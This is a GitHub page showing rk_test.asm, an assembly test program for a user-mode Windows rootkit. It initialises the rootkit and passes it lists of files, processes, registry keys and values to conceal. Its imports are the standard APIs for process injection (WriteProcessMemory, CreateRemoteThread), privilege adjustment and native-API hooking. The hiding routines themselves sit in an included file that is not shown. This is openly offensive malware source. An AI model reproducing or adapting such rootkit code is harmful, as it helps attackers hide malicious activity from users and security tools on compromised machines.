-
Notifications
You must be signed in to change notification settings - Fork 6
/
rk_test.asm
66 lines (55 loc) · 2.2 KB
/
rk_test.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
format PE GUI 4.0
include 'win32a.inc'
section '.text' code readable writeable executable
include 'micrork.inc'
HiddenFiles db '_;hdfile;tp7;BKY;', 0
HiddenProcesses db 'calc.exe', 0
HiddenRegKeys db 'bo;hrt;', 0
HiddenRegValues db 'group;', 0
TrueProcesses db 'tproc;prv;', 0
entry $
call InitRootkit
push TrueProcesses
push HiddenRegValues
push HiddenRegKeys
push HiddenProcesses
push HiddenFiles
call SetHidden
ret
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
advapi32, 'advapi32.dll',\
ntdll, 'ntdll.dll'
import kernel32, \
VirtualAllocEx, 'VirtualAllocEx', \
DuplicateHandle, 'DuplicateHandle', \
WriteProcessMemory, 'WriteProcessMemory', \
CreateRemoteThread, 'CreateRemoteThread', \
CreateToolhelp32Snapshot, 'CreateToolhelp32Snapshot', \
Process32First, 'Process32First', \
Process32Next, 'Process32Next', \
OpenProcess, 'OpenProcess', \
CloseHandle, 'CloseHandle', \
VirtualProtect, 'VirtualProtect', \
MapViewOfFile, 'MapViewOfFile', \
ReadProcessMemory, 'ReadProcessMemory', \
GetModuleFileNameW, 'GetModuleFileNameW', \
CreateFileMapping, 'CreateFileMappingA'
import advapi32, \
OpenProcessToken, 'OpenProcessToken', \
LookupPrivilegeValue, 'LookupPrivilegeValueA', \
AdjustTokenPrivileges, 'AdjustTokenPrivileges'
import ntdll, \
ZwQueryDirectoryFile, 'ZwQueryDirectoryFile', \
wcsnicmp, '_wcsnicmp', \
wcscpy, 'wcscpy', \
ZwQuerySystemInformation, 'ZwQuerySystemInformation', \
ZwEnumerateValueKey, 'ZwEnumerateValueKey', \
wcsncpy, 'wcsncpy', \
ZwClose, 'ZwClose', \
ZwOpenKey, 'ZwOpenKey', \
ZwEnumerateKey, 'ZwEnumerateKey', \
RtlInitUnicodeString, 'RtlInitUnicodeString', \
wcsicmp, '_wcsicmp', \
mbstowcs, 'mbstowcs', \
ZwCreateThread, 'ZwCreateThread'